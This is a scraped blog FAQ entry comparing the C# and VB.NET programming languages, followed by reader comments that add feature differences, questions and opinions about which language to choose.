"John", 500)); recDB.insert(new Record(22, "Mike", 2500)); recDB.insert(new Record(13, "Mark", 1760)); recDB.insert(new Record(19, "Bob", 500)); recDB.insert(new Record(7, "Cathy", 500)); Record r = recDB.search(22); if(r == null) System.out.println("Not found"); else System.out.println("Found"); r = recDB.search(34); if(r == null) System.out.println("Not found"); else System.out.println("Found"); recDB.delete(19); recDB.delete(7); recDB.delete(3); recDB.delete(13); recDB.delete(21); recDB.delete(22); recDB.delete(3); } }
please help me in code writing 8-| | http://www.javaprogrammingforums.com/%20object-oriented-programming/8030-data-structure-assignment-help-me-%7C-printingthethread.html | CC-MAIN-2017-51 | refinedweb | 1,063 | 57.81 |
Reduce authors/titles/links in .bib files
Project description
This is a package for reducing LaTeX .bib files to include just what you want.
Shameless plug: check out our book.
Made by Alex Tait
Installation
$ pip install princeton-bibreduce
Usage
There are three ways to call the same thing
1: UNIX command line executable:
$ princeton-bibreduce -cu myManuscript.aux
2: python command line:
$ python -m bibreduce -cu myManuscript.aux
3: from python code:
import bibreduce bibreduce.main('myManuscript.aux', coauthors=True, urlLinks=True)
Behavior
Generates a .bib file. By default, it adds the _proc suffix to the generated .bib. The customizable fields are:
- title (flag -t)
- coauthors (flag -c)
- doiLinks (flag -d)
- urlLinks (flag -u)
- abstract (flag -a)
Specifying the flag transfers that field. All fields not on this list are transferred over.
Get more help with:
$ princeton-bibreduce -h
Special behavior for links
If a link format is specified, it populates the field link. For urlLinks, it just copies over what is in the url field. For doiLinks, it puts “” in the link field.
Typical TeX workflow
The goal here is to remove titles from references and try to add URLs.
(optional) Centralized bib libraries
Suppose you have a centralized bib library MasterLibrary.bib Bib globals should go in
OSX: ~/Library/texmf/bibtex/bib/local/MasterLibrary.bib
Linux: ~/texmf/bibtex/bib/local/MasterLibrary.bib
Windows: C:\Users\<user name>\texmf\bibtex\bib\local\MasterLibrary.bib
The TeX file
Suppose you are then working on a TeX file myManuscript.tex containing:
\begin{document} The text of your paper. ... \bibliography{MasterLibrary} \end{document}
This will pull from your centralized library.
Flow
Compile it with:
$ pdflatex myManuscript.tex $ bibtex myManuscript.aux $ pdflatex myManuscript.tex
Your .aux file includes everything you need to extract a .bib that is specific to this manuscript. This is where you use this module:
$ princeton-bibreduce myManuscript.aux -cu
to generate myManuscript_proc.bib. Now, go back to the .tex file and change the bibliography to the reduced one:
\bibliography{myManuscript_proc}
One more time, call:
$ pdflatex myManuscript.tex $ bibtex myManuscript.aux $ pdflatex myManuscript.tex
Project details
Release history Release notifications
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/princeton-bibreduce/ | CC-MAIN-2018-30 | refinedweb | 372 | 62.04 |
How to get object (tag) name, attribute, content, comment and other operations by using the Python crawler beautifulsop
1, Tag object
1. The tag object is the same as the tag in the XML or HTML native document.
from bs4 import BeautifulSoup soup = BeautifulSoup('<b class="boldest">Extremely bold</b>','lxml') tag = soup.b type(tag)
bs4.element.Tag
2. Name property of tag
Each tag has its own name, which is obtained by. Name
tag.name
'b'
tag.name = "blockquote" # Modify the original document tag
<blockquote class="boldest">Extremely bold</blockquote>
3. Attributes attribute of tag
Get single attribute
tag['class']
['boldest']
Get all properties as a dictionary
tag.attrs
{'class': ['boldest']}
Add attribute
tag['class'] = 'verybold' tag['id'] = 1 print(tag)
<blockquote class="verybold" id="1">Extremely bold</blockquote>
Delete attribute
del tag['class'] del tag['id'] tag
<blockquote>Extremely bold</blockquote>
4. Multi value attribute of tag
Multi valued properties return a list
css_soup = BeautifulSoup('<p class="body strikeout"></p>','lxml') print(css_soup.p['class'])
['body', 'strikeout']
rel_soup = BeautifulSoup('<p>Back to the <a rel="index">homepage</a></p>','lxml') print(rel_soup.a['rel']) rel_soup.a['rel'] = ['index', 'contents'] print(rel_soup.p)
['index'] <p>Back to the <a rel="index contents">homepage</a></p>
If the converted document is in XML format, the tag does not contain multi value attributes
xml_soup = BeautifulSoup('<p class="body strikeout"></p>', 'xml') xml_soup.p['class'] ```bash
'body strikeout'
2, Navigable string 1. Strings are often included in tags, and NavigableString class is used to wrap strings in tags ```bash from bs4 import BeautifulSoup soup = BeautifulSoup('<b class="boldest">Extremely bold</b>','lxml') tag = soup.b print(tag.string) print(type(tag.string))
Extremely bold <class 'bs4.element.NavigableString'>
2. A NavigableString string is the same as the str string in Python. The NavigableString object can be directly converted to STR string through str() method
unicode_string = str(tag.string) print(unicode_string) print(type(unicode_string))
Extremely bold <class 'str'>
3. The strings contained in the tag cannot be edited, but can be replaced with other strings. Use the replace with() method
tag.string.replace_with("No longer bold") tag
<b class="boldest">No longer bold</b>
3, Beautifulsop object beautifulsop object represents the whole content of a document.
Most of the time, you can think of it as a Tag object, which supports traversing the document tree and searching most of the methods described in the document tree.
Four. Comment and special string object
markup = "<b><!--Hey, buddy. Want to buy a used parser?--></b>" soup = BeautifulSoup(markup,'lxml') comment = soup.b.string type(comment)
bs4.element.Comment
The Comment object is a special type of NavigableString object
comment
'Hey, buddy. Want to buy a used parser?' | https://programmer.ink/think/get-object-tag-name-property-content-comment.html | CC-MAIN-2021-39 | refinedweb | 453 | 50.33 |
Getting Started With TensorFlow
Ever wondered why it is called TensorFlow?
As the name suggests, TensorFlow defines how tensors will flow through the system. But what are these tensors that we are discussing?
When we represent data for machine learning, it generally needs to be done numerically. Tensor is a data repository, especially when referring to neural network data representation.
In simple words, it is an artificial intelligence library, which builds models using data flow graphs.
It is widely used for
- Understanding
- Classification
- Discovering
- Perception
- Creation
- Prediction
TensorFlow works with Python as it’s base language. But that doesn’t make it a limitation, as it also runs on C++, Java, R and many more programming languages.
Let’s move to installation, We’ll be installing TensorFlow for Windows 10 CPU. If you want to install TensorFlow for Windows 10 GPU, Mac OSX CPU, Ubuntu etc. then you can do it manually from here.
Installing TensorFlow
- Firstly, Download Conda. We’ll be Installing MiniConda which is a minimal version of Anaconda.
Make sure you choose the latest version available to download.
- Now, let’s install MiniConda.
- Select both of the given options and click on ‘install’.
- Once Miniconda is installed, Let’s prepare our .yml script for Conda.
- After clicking here, save the file as text document. (to the directory of your machine where you can find and access it easily. Suggested to save it in user directory.)
- Now, open the Command Prompt of your windows and change to the directory which has the .yml script that you saved earlier and rename yml.txt file to .yml file.
ren tensorflow.yml.text tensorflow.yml
- Now, let’s install Jupyter through Conda.
conda install jupyter
- It will take some time to install [if prompt type ‘y’]
- After Jupyter is installed, we are going to run the installation scrip that we downloaded earlier, to create an environment.
dir *.yml
conda env create -v -f tensorflow.yml
- This will take some time.
- Now, our environment is ready and we can start using TensorFlow.
- To activate TensorFlow, run the following command.
conda activate tensorflow
Similarly, to deactivate TensorFlow, run ‘conda deactivate’.
- It moves you to the TensorFlow environment.
Output: (tensorflow) C:\Users\Jeff>
- Now, Let’s go into Python environment of TensorFlow
python
- Let’s check if our TensorFlow is still working.
import tensorflow as tf
This will take a moment.
print(tf.__version__)
- If you’re getting an output like this:
2.0.0
Your TensorFlow is working.
- Now, lets install the Kernel for Jupyter. (This is an important step. Make sure you don’t skip it)
python -m ipykernel install --user --name tensorflow --display-name "Python 3.7 (tensorflow)"
[if you are getting error in this step, then let us know in the comment section.]
- This registers our environment into Jupyter Kernel, so that we can use TensorFlow in Jupyter. If you skip this step, your Jupyter will not know that you created a kernel like this.
- Now lets open Jupyter Notebook to check if our Kernel is installed.
jupyter notebook
This will open the Jupyter Notebook. Now, click on ‘New’ on the top-right corner.
- As you can see, Jupyter now has the Kernel we just created.
- Click on ‘Python 3.7 (tensorflow)’ and it’s ready to get started.
To import it we run the below command:
import tensorflow as tf
Resourses provided by TensorFlow
- TensorFlow-Hub: You’ll be able to access various pre-trained models and datasets built by professional.
- ML Tools: Tools like CoLab, TensorBoard, ML Perf, XLA and many more are easily accessible and provided by TensorFlow.
- Libraries and Extensions: Magenta, Nucleus, Sonnet, Unicode and many more libraries are available.
- Inbuilt Functions: Such as tf.audio, tf.io, tf.keras, tf.test, tf.train, etc. makes it easy to build a machine learning model.
TensorFlow is a rich system that provides all the bits and pieces for Machine learning. | https://valueml.com/getting-started-with-tensorflow/ | CC-MAIN-2021-25 | refinedweb | 653 | 59.9 |
Over the weekend, I spent some time dabbling with generating various metrics over Jupyter notebooks (more about that in a later post…). One of the things I started looking at were tools for visualising notebook structure.
In the first instance, I wanted a simple tool to show the relative size of notebooks, as well as the size and placement of markdown and code cells within them.
The following is an example of a view over a simple notebook; the blue denotes a markdown cell, the pink a code cell, and the grey separates the cells. (The colour of the separator is controllable, as well as its size, which can be 0.)
When visualising multiple notebooks, we can also display the path to the notebook:
The code can be be found in this repo
this gist.
The size of the cells in the diagram are determined as follows:
- for markdown cells, the number of “screen lines” taken up by the markdown when presented on a screen with a specified screen character width;
import textwrap LINE_WIDTH = 160 def _count_screen_lines(txt, width=LINE_WIDTH): """Count the number of screen lines that an overflowing text line takes up.""" ll = txt.split('\n') _ll = [] for l in ll: #Model screen flow: split a line if it is more than `width` characters long _ll=_ll+textwrap.wrap(l, width) n_screen_lines = len(_ll) return n_screen_lines
for code cells, the number of lines of code; (long lines are counted over multiple lines as per markdown lines)
In parsing a notebook, we consider each cell in turn capturing its cell type and screen line length, returing a
cell_map as a list of
(cell_size, cell_type) tuples:
import os import nbformat VIS_COLOUR_MAP = {'markdown':'cornflowerblue','code':'pink'} def _nb_vis_parse_nb(fn): """Parse a notebook and generate the nb_vis cell map for it.""" cell_map = [] _fn, fn_ext = os.path.splitext(fn) if not fn_ext=='.ipynb' or not os.path.isfile(fn): return cell_map with open(fn,'r') as f: nb = nbformat.reads(f.read(), as_version=4) for cell in nb.cells: cell_map.append((_count_screen_lines(cell['source']), VIS_COLOUR_MAP[cell['cell_type']])) return cell_map
The following function handle single files or directory paths and generates a cell map for each notebook as required:
def _dir_walker(path, exclude = 'default'): """Profile all the notebooks in a specific directory and in any child directories.""" if exclude == 'default': exclude_paths = ['.ipynb_checkpoints', '.git', '.ipynb', '__MACOSX'] else: #If we set exclude, we need to pass it as a list exclude_paths = exclude nb_multidir_cell_map = {} for _path, dirs, files in os.walk(path): #Start walking... #If we're in a directory that is not excluded... if not set(exclude_paths).intersection(set(_path.split('/'))): #Profile that directory... for _f in files: fn = os.path.join(_path, _f) cell_map = _nb_vis_parse_nb(fn) if cell_map: nb_multidir_cell_map[fn] = cell_map return nb_multidir_cell_map
The following function is used to grab the notebook file(s) and generate the visualisation:
def nb_vis_parse_nb(path, img_file='', linewidth = 5, w=20, **kwargs): """Parse one or more notebooks on a path.""" if os.path.isdir(path): cell_map = _dir_walker(path) else: cell_map = _nb_vis_parse_nb(path) nb_vis(cell_map, img_file, linewidth, w, **kwargs)
So how is the visualisation generated?
A plotter function generates the plot from a
cell_map:
import matplotlib.pyplot as plt def plotter(cell_map, x, y, label='', header_gap = 0.2): """Plot visualisation of gross cell structure for a single notebook.""" #Plot notebook path plt.text(y, x, label) x = x + header_gap for _cell_map in cell_map: #Add a coloured bar between cells if y > 0: if gap_colour: plt.plot([y,y+gap],[x,x], gap_colour, linewidth=linewidth) y = y + gap _y = y + _cell_map[0] + 1 #Make tiny cells slightly bigger plt.plot([y,_y],[x,x], _cell_map[1], linewidth=linewidth) y = _y
The
gap can be automatically calculated relative to the longest notebook we’re trying to visualise which sets the visualisation limits:
import math def get_gap(cell_map): """Automatically set the gap value based on overall length""" def get_overall_length(cell_map): """Get overall line length of a notebook.""" overall_len = 0 gap = 0 for i ,(l,t) in enumerate(cell_map): #i is number of cells if that's useful too? overall_len = overall_len + l return overall_len max_overall_len = 0 #If we are generating a plot for multiple notebooks, get the largest overall length if isinstance(cell_map,dict): for k in cell_map: _overall_len = get_overall_length(cell_map[k]) max_overall_len = _overall_len if _overall_len > max_overall_len else max_overall_len else: max_overall_len = get_overall_length(cell_map) #Set the gap at 0.5% of the overall length return math.ceil(max_overall_len * 0.01)
The
nb_vis() function takes the
cell_map, either as a single cell map for a single notebook, or as a dict of cell maps for multiple notebooks, keyed by the notebook path:
def nb_vis(cell_map, img_file='', linewidth = 5, w=20, gap=None, gap_boost=1, gap_colour='lightgrey'): """Visualise notebook gross cell structure.""" x=0 y=0 #If we have a single cell_map for a single notebook if isinstance(cell_map,list): gap = gap if gap is not None else get_gap(cell_map) * gap_boost fig, ax = plt.subplots(figsize=(w, 1)) plotter(cell_map, x, y) #If we are plotting cell_maps for multiple notebooks elif isinstance(cell_map,dict): gap = gap if gap is not None else get_gap(cell_map) * gap_boost fig, ax = plt.subplots(figsize=(w,len(cell_map))) for k in cell_map: plotter(cell_map[k], x, y, k) x = x + 1 else: print('wtf') ax.axis('off') plt.gca().invert_yaxis() if img_file: plt.savefig(img_file)
The function will render the plot in a Jupyter notebook, or can be called to save the visualisation to a file.
This was just done as a quick proof of concept, so comments welcome.
On the to do list is to create a simple CLI (command line interface) for it, as well as explore additional customisation support (eg allow the color types to be specified). I also need to account for other cell types. An optional legend explaining the colour map would also make sense.
On the longer to do list is a visualiser that supports within cell visualisation. For example, headers, paragraphs and code blocks in markdown cells; comment lines, empty lines, code lines, magic lines / blocks, shell command lines in code cells.
In OU notebooks, being able to identify areas associated with activities would also be useful.
Supporting the level of detail required in the visualisation may be be tricky, particulary in long notebooks. A vertical, multi-column format is probably best showing eg an approximate “screen’s worth” of content in a column then the next “scroll” down displayed in the next column along.
Something else I can imagine is a simple service that would let you pass a link to an online notebook and get a visulisation back, or a link to a Github repo that would give you a visualisation back of all the notebooks in the repo. This would let you embed a link to the visualisation, for example, in the repo README. On the server side, I guess this means something that could clone a repo, generate the visualisation and return the image. To keep the workload down, the service would presumably keep a hash of the repo and the notebooks within the repo, and if any of those had changed, regenerate the image, else re-use a cached one. (It might also make sense to cache images at a notebook level to save having to reparse all the notebooks in a repo where only a single notebook has changed, and then merge those into a single output image?)
PS this has also go me thinking about simple visualisers over XML materials too… I do have an OU-XML to ipynb route (as well as OU-XML2md2html, for example), but a lot of the meaningful structure from the OU-XML would get lost on a trivial treatment (eg activity specifications, mutlimedia use, etc). I wonder if it’d make more sense to create an XSLT to generate a summary XML document and then visualise from that? Or create Jupytext md with lots of tags (eg tagging markdown cells as activities etc) that could be easily parsed out in a report? Hmmm… now that may make a lot more sense… | https://blog.ouseful.info/tag/datavis/ | CC-MAIN-2020-45 | refinedweb | 1,337 | 50.36 |
This blog post is about png++, one of my favourite C++ libraries.
It’s a wrapper of libpng in C++ that allows to handle PNG images so easily that you’ll never want to use bare libpng again.
All you need to start is to add these two lines in you source files:
#include "png++/png.hpp" using namespace png;
This is the code to open an existing image:
image img("image.png");
The code to make a new image from scratch differs only in the parameter passed to image’s constructor:
image img(1024,768);
The image class has the get_pixel() and set_pixel() memeber functions to access the individual pixels:
rgb_pixel pixel=img.get_pixel(0,0); pixel.red=min(255,pixel.red+10); //Increase red color of pixel img.set_pixel(0,0,pixel);
The image height and width can be obtained with intuitive get_height() and get_width() memeber functions:
for(int i=0;i<img.get_width();i++) { for(int j=0;j<img.get_height();j++) { //Do something } }
The image can be written to file with the write() memebr function:
img.write("new_image.png");
Also, this library is header-only. What does it means? That you do not have to compile the library to start playing with it, just exptract the library in the folder where you have your source code, and include the header file “png.hpp”, just that.
Lastly, here is an example code including CMake scripts to show the capabilities of the library. png++.tar.gz | https://fedetft.wordpress.com/2010/10/ | CC-MAIN-2015-14 | refinedweb | 248 | 65.01 |
Episode 133 · August 17, 2016
Sending chat messages from the browser to the server with ActionCable
What's up guys? This episode we're going to take and convert the AJAX form for submitting a new message in a chat room, and we're going to convert that using ActionCable, and the reason why we're going to do that is because we've already got this open connection, and it has to be open, otherwise our chat is kind of useless, so we might as well take advantage of that and send our messages across through ActionCable instead of an AJAX request, so we're going to refactor what we've built and convert it to using ActionCable. The first thing that we want to do is actually look at the form itself, so I've pulled that up here in the chatroom/show.html.erb and we have our messages container, and our form just underneath that, and we were currently submitting this as remote= true which will send it over with jquery ujs as an AJAX request. Now this is fine, but we want to remove that because we want to intercept this form submission with our own code in order to go use the chatrooms ActionCable channel. We're going to write our own JavaScript and instead of jquery ujs doing it, we're going to do the intercept and that will be that. This is pretty straightforward, we're going to need to pull out the chatroom id and we're also going to need to pull out the message text from the body field here so we'll need to write some JavaScript to pull that off. We've already written a little function here that says anytime you type the enter key in that message box, we're going to not do a new line and we're going to submit that to the server, so this really says: Well if the character code or the key code is 13, which is the Enter key, we're going to not insert a new line so that was the default, so we're going to prevent the default and then we're going to submit that form. We can actually say
assets/javascripts/chatrooms.coffee
$("#new_message").on "submit", (e) -> e.preventDefault() console.log "SUBMITTED"
Let's refresh this page and let's type: "hello random" and if hit enter, like I just did, nothing happens. That is a good sign, because then you should see a submitted form in the console and that means that our JavaScript here it not only listened to that Enter key in the first function, it submitted the form with this first dot submit, and immediately after that this function to this submit grabbed it and then canceled the submission. This is where we're going to need to grab both the chatroom id and the message text for that text field. First we can really just grab the chatroom id and this is pretty straightforward, it actually is on the messages container, and so we have the data-behavior messages class or attribute and then on that tag we can grab the chatroom id so we'll just take that one place that we will always know that will be there because the rest of our JavaScript will use that, so we'll just make sure that we grab it from there, so we'll have data-behavior
assets/javascripts/chatrooms.coffee
$("#new_message").on "submit", (e) -> e.preventDefault() chatroom_id = $("[data-behavior='messages']").data("chatroom-id") body = $("#message_body")
assets/javascripts/channels/chatrooms.coffee
send_message: (chatroom_id, message) -> @perform "send_message", {chatroom_id: chatroom_id, body: message}
We'll send over this object, this JSON object, and so the server side will receive that. If you go into your
app/channels/chatrooms_channel.rb
def send_message Rails.logger.info data end
So this @perform is calling send_message and we'll have some data that we receive which will be this object here and we will be able to receive that. We'll have this set up so that we can perform that send message function server side, and we can just pass that data over, and ActionCable is going to know what to do, it will convert it to the ruby function. It will call that function, it will execute that server side and do whatever you want. That means all we have to do now is to go back to our original
chatrooms.coffee
App.chatrooms.send_message(chatroom_id, body.val())
We're going to grab the value of the field, so the actual text that you type and we'll send that over as the message argument which will get sent over again to the server side channel and will be received as one object, because we have this in a JSON object. This makes it all into one thing, and then we have data on the server which is that one thing, and it's just the hash and we can pull that apart and display. Let's save all of this. Refresh our page here, and then let's type "Test random" and hit Enter, and this should submit and we should be able to look at our logs here, and we'll see that user two received this message which was the info that we did. The Rails.logger.info, so you can see that the user 2 called the send_message function and passed over this JSON hash that got converted into a ruby hash, or JSON object, so this got converted to a ruby hash and you have full access to all of that stuff just from the ruby side of things just like you did from the client side. So it's cool it actually just transmits this data and says: Well from the JavaScript you can call any functions that you want server side and you're good to go as long as they're defined in chatrooms_channel.rb so as long as you access the right ActionCable subscription in your JavaScript, you can always call those methods server side from your JavaScript, so that's pretty neat. This is not very hard, and then the last thing that we want to do is say
chatrooms.coffee
body.val("")
That will go clear out that string which when we hit enter here it didn't do anything. And if we do it now, and we hit Enter, it sends it over to the server it logs it on the server and then it clears this out. And so that is all working. The only thing we need to do next is to take that and instead of logging that message server side like we did here, we can actually just take this and transmit or broadcast that to all of the recipients for this channel for that chatroom. So we have the ID so we know the id and we're basically able to do the exact same publish as we did with the AJAX action. Now the question is: How do we actually go save that message and then send it out and broadcast it again? Well conveniently we already did that, so we can go into that messages controller that we created before and we can basically duplicate all that work that this does and put it in that function in the chatrooms_channel.rb, so basically we can set that chatroom just as we did before and we can say
chatrooms_channel.rb
def send_message(data) @chatroom = Chatroom.find(data)["chatroom_id"] message = @chatroom.messages.create(body: data["body"], user: current_user) MessageRelayJob.perform_later(message) end
This is going to effectively do the same thing that the entire controller action did but we'll be able to do that over the websocket connection instead. We don't really need this controller anymore because we're not going to be submitting this over AJAX. This won't ever really be that useful and you could probably go and delete this controller if you wanted. That is going to work, and we should be able to restart our rails servers, and sometimes when you're changing those channels you'll need to restart your rails server because once it's already loaded and the connections are live and all that you can't actually change it and get live updates like you can with the new request. So let's test this out and refresh our browser and get the latest JavaScript and let's test random, hit enter, and voila. We've sent that now over the websocket connection it has landed in the channel, it processes it, saves it in a database, and it sends it over to the same relay job which goes to your background workers which then talks to your ActionCable redis connection again which sends it out to everybody, and then everybody receives it and displays it in the browser.
Now we're doing quite a bit of stuff with ActionCable, we're receiving messages, we're sending messages, we have the ability to add new features in so like if I receive a message I can send a little notice to the server and say I've read up to this time and we can keep track of unread times and all that stuff which we're going to do in a future episode, but I do want to point out that now that we've done this, ActionCable is 100% critical to be running in our application. The way we had it before, where the form submitted with AJAX, if ActionCable was down, yeah, we don't receive new messages, but we can still send them and they will still work as long as the rails app is up. But now that that's sending goes over the websockets as well, the rails app could be functional, but if ActionCable isn't, our app doesn't do anything. It isn't able to save any messages and that's a problem, so you have to kind of keep in mind what you want to use your websockets for and determine weather or not it's crucial for it to be up as much as possible. Of course in a chatroom application you're going to focus more on this connection being up as much as possible, but if it's sort of a side project or something where you're doing notifications, you might consider making the requests over AJAX and sending data and just using it for receiving notifications. GitHub is a good example of this where the GitHub issues will update in real time using websockets but if you were to go down you don't really lose out on much of that user experience at the end of the day. You just kind of lose out that someone commented, but you can still comment and you can still use it even if they're struggling keeping their websocket servers up for whatever reason, like maybe they blow up in traffic one day and they're able to keep the website up but not the websockets. It's just something to keep in mind. It's now a new dependency that your 100% relying on, and that should affect the way that you go build your application, just to keep that in mind so that when you build something that really when it goes down it goes down hard. That's kind of just be something to keep in mind so that you can build a lot more sturdy applications just in case something bad happens.
That's it for this episode, we will be diving in most likely in the next one to have the ability to mark as unread so that we can see when the most recent messages were displayed. That should be fun but we will save that to the next episode. I hope you enjoyed it, I'll talk to you in the next one.
Transcript written by Miguel
Join 18,000+ developers who get early access to new screencasts, articles, guides, updates, and more. | https://gorails.com/episodes/group-chat-with-actioncable-part-5 | CC-MAIN-2018-47 | refinedweb | 2,029 | 57.74 |
The <code>Option Strict</code> on). Learning the .NET framework itself is a much bigger issue than learning either of the languages, and it's perfectly possible to become fluent in both - so don't worry <i>too</i> much about which to plump for. There are, however, a few actual differences which may affect your decision: <h5>VB.NET Advantages</h5><ul> <li>Support for optional parameters - very handy for some COM interoperability</li> <li> Support for late binding with <code>Option Strict</code> off - type safety at compile time goes out of the window, but legacy libraries which don't have strongly typed interfaces become easier to use. </li> <li> Support for named indexers (aka properties with parameters). </li> <li> Various legacy VB functions (provided in the <code>Microsoft.VisualBasic</code> namespace, and can be used by other languages with a reference to the <code>Microsoft.VisualBasic.dll</code>). Many of these can be harmful to performance if used unwisely, however, and many people believe they should be avoided for the most part. </li> <li> The <code>with</code> construct: it's a matter of debate as to whether this is an advantage or not, but it's certainly a difference. </li> <li> Simpler (in expression - perhaps more complicated in understanding) event handling, where a method can declare that it handles an event, rather than the handler having to be set up in code. </li> <li> The ability to implement interfaces with methods of different names. (Arguably this makes it harder to find the implementation of an interface, however.) </li> <li> <code>Catch ... When ...</code> clauses, which allow exceptions to be filtered based on runtime expressions rather than just by type. </li> <li> The VB.NET part of Visual Studio .NET compiles your code in the background. While this is considered an advantage for small projects, people creating very large projects have found that the IDE slows down considerably as the project gets larger. </li> </ul><h5>C# Advantages</h5><ul> <li> XML documentation generated from source code comments. (This is coming in VB.NET with Whidbey (the code name for the next version of Visual Studio and .NET), and there are tools which will do it with existing VB.NET code already.) </li> <li>Operator overloading - again, coming to VB.NET in Whidbey.</li> <li> Language support for unsigned types (you can use them from VB.NET, but they aren't in the language itself). Again, support for these is coming to VB.NET in Whidbey. </li> <li> The <code>using</code> statement, which makes unmanaged resource disposal simple. </li> <li> Explicit interface implementation, where an interface which is already implemented in a base class can be reimplemented separately in a derived class. Arguably this makes the class harder to understand, in the same way that member hiding normally does. </li> <li>. </li> </ul><p> Despite the fact that the above list appears to favour VB.NET (if you don't mind waiting for Whidbey), many people prefer C#'s terse syntax enough to make them use C# instead.
[Author: Jon Skeet]
Join the conversationAdd Comment
Hi,
after writing a C# application that automated both Word and Outlook, I found the lack of optional parameters a real pain. Any change of this functionality being added to the language or providing more intelligent wrappers for the COM objects so that I do not always have to explicitly provide the optional parameters.
You forgot to mention the Catch … When syntax which C# inexplicably lacks.
… and the C# "using" statement.
Read my article
I like the event management of VB.NET (Handles clause)
I wonder how often the C#-only feature of being able to reimplement an interface in a derived class which was already implemented by a base class is used?
Added some of the points above.
Note this link:
We have large VB projects that are unusable in VB.Net due to the size of the project. If your solution is likely to include a large number of classes, I would strongly recommend c#
One omission:
VB.NET is CLS only. This has certain implications. I, personally, love unsigned data types. Though you can always use the structs.
I’m not sure I’d consider the background compilation of VB.NET a <i>language</i> consideration, but I’ll note it anyway. (For small projects, I’m sure many would consider it an advantage.)
On the "CLS-only" front, I’ve already noted that C# has unsigned data types in the language and VB.NET doesn’t – anything more you’d like me to include there?
> anything more you’d like me to include there?
unsafe code and DllImport.
About "Explicit interface implementation" how in VB can you implement a private interface (that also uses private types) in a public class without it ?
I can’t believe I left unsafe code out – bizarre. I’ll fix that now.
I’m not a VB.NET programmer, but is there really no equivalent of DllImport in VB.NET?
Not sure what you mean about the private interfaces business, I’m afraid… could you give an example?
DllImport : VB and C# produce different signatures.)
private interfaces :
internal interface IFoo {
void Foo();
}
internal interface IBar {
void Bar(Ifoo foo);
}
public class FooBar : IBar {
// in C# i will explicit implement it, in VB ?
}
I’ll look more carefully at the DllImport business, but I think the private interface thing works. In VB.NET it’s:
Imports System
Friend Interface IFoo
Sub Foo
End Interface
Friend Interface IBar
Sub Bar(ByVal foo as IFoo)
End Interface
Class Test
Implements IBar
Overridable Sub Bar(ByVal foo as IFoo) Implements IBar.Bar
End Sub
End Class
Given this, I should probably remove explicit interface implementation from the C# list… unfortunately I don’t know VB.NET well enough to be absolutely sure.
please reply me as soon as possible about the
advantages of vb.net over vb6 by comparison.
I don’t think a discussion of VB6 vs VB.NET is really relevant to a C# FAQ.
Pls. let me know
How about any advantages over speed, I’ve read the entire fact and everything discused here has been about syntax.
Does anyone have any facts about any speed advantages.
If written right, there is not speed difference. (i.e. if you use Directcast rather that CType and if you use Option Strict On and etc.) then it is almost 99% identical IL code.
One difference that has caused us a large amount of pain is VB not understanding operators denfined on some types. Take the System.Data.SqlTypes namespace for example. Even though there is an implicit operator from Int32 to SqlInt32, you can’t use the following syntax in VB.NET
Dim i As SqlInt32 = 10
Instead you have to do either of the following
Dim i as SqlInt32 = New SqlInt32(10)
or
Dim i as SqlInt32 = SqlInt32.op_Implicit(10)
I’m not sure how or why VB understands operators for some types in the System namespace but not others, but it is a real pain.
Here’s a couple of others to think about:
1. Shared members are exposed in derived classes. For example, the static Object.Equals(objA, objB) will show up for every class as a shared member even though it’s only defined in Object. Can make it pretty confusing as to who is actually doing the work. Especially if someone decides to shadow Object’s implementation.
2. No field attribute modifier. Try serializing an object where a form has a reference to an event on that object and you’ll see what I mean.
3. No escape character in strings. Console.WriteLine("The actor was quoted as saying ""now that’s wierd""")
4. How do you write an IIF in VB.NET where both return values are not evaluated even though only one will be returned. Try this and see what you get.
Dim o As Object
Console.WriteLine(IIf(True, "Good", o.ToString()))
</gripe>
Anson
OUT parameter will support by C#
Comparing vb to vb.net the main difference is the dotnet version is purely object oriented.
Assuming everything else (almost) equal, which one is faster to learn and get a handle on for a new starter?
I think that another advantage of C# over VB.NET is that C# is adhered to OOP theorical terminology like abstract, virtual, static, etc, while VB.NET use a propietary jerga (mustInherits, overridable, shared, etc).
That is important when you read theory or use UML tools like Visio or Rational Rose.
How much faster is looping through unsafe arrays in C# compared to VB?
In other words, how do unsafe arrays in C# compare to the always managed arrays of VB?
C#とVB.NET の面白い比較投稿
Op de bijeenkomst van gisteren is door Frans Bouma en Maurice de Beijer strijd geleverd over de vraag…
PingBack from
PingBack from
PingBack from
You forgot to mention the "yield" keyword in C#. Missing yield in VB has made my life into hell now our projectmanager wisely made us convert to VB.
I our days most people use the .NET Framework to write ‘Enterpise Level – Data Driven Applications’ that rarely require advanced programming features and techniques. So when an ‘upgrading’ developer (new to VS) has to deside which language is the most appropriate, the one that has the most intellisense support and is most readable to the human eye will make the difference when code extends to some ten of thousands of lines. Only past experience, training and current working environments create the exception to the above rule.
I just recently made the change from VB to C# in <a href="">Microsoft</a> .Net. I came from a Java background so C# really isn’t too much different as far as syntax, but after learning VB I liked it a lot better. I think VB is easier to ready and flows out a little better while coding. I was hesitant to make the switch to C#, but it hasn’t been too bad.
There are definitely advantages to both languages. I have found that Visual Studio seems to be a little better integrated with VB, but C# offers nice ways to consolidate code.
It’s always going to be an ongoing debate, but in the end a programming language is a programming language. Syntax you can learn, but it’s the logical thinking behind it that counts.
VB.Net is easy to do the coding, but when comes into performance VB relally go backwards than other languages such as Java/ C++, Is microsoft really considering the performance of the language?
VB's "Select Case" is more useful than "switch" because of the way in which the selected element is evaluated. Also, its much more self-documenting and easier to read.
my qestion is which will be simpler to do a .net programe simpler and easier
my qestion is which will be simpler to do a .net programe simpler and easier
Hi, I've been using both of these languages. VB.NET and C# is just the matter of the language, but the most important thing is the core of .NET Framework. But I think since we working on this level with software implementation, I do believe that we should take care of the source code as well so it could be readable. Thanks
1. Why do I have to type semicolon ( ; ) after EVERY command EVEN 99% of them are on single line ?
2. Would you mind if someone tells you that "You" <> "you" ?!
3. Did you ever find yourself looking for the missing Braces ( }}}}}} ) in the code?
My suggestion, if you know English choose VB !
c# will vanish !!! | https://blogs.msdn.microsoft.com/csharpfaq/2004/03/11/what-are-the-advantages-of-c-over-vb-net-and-vice-versa/ | CC-MAIN-2016-30 | refinedweb | 1,952 | 65.93 |
Mobile technology continues to grow in popularity. And Java Micro Edition, or Java ME (Sun's new name for the J2ME platform), is one of the most prevalent technologies for developing mobile applications. Using Java ME, we can run many wireless applications in handheld devices that use either a JVM or KVM.
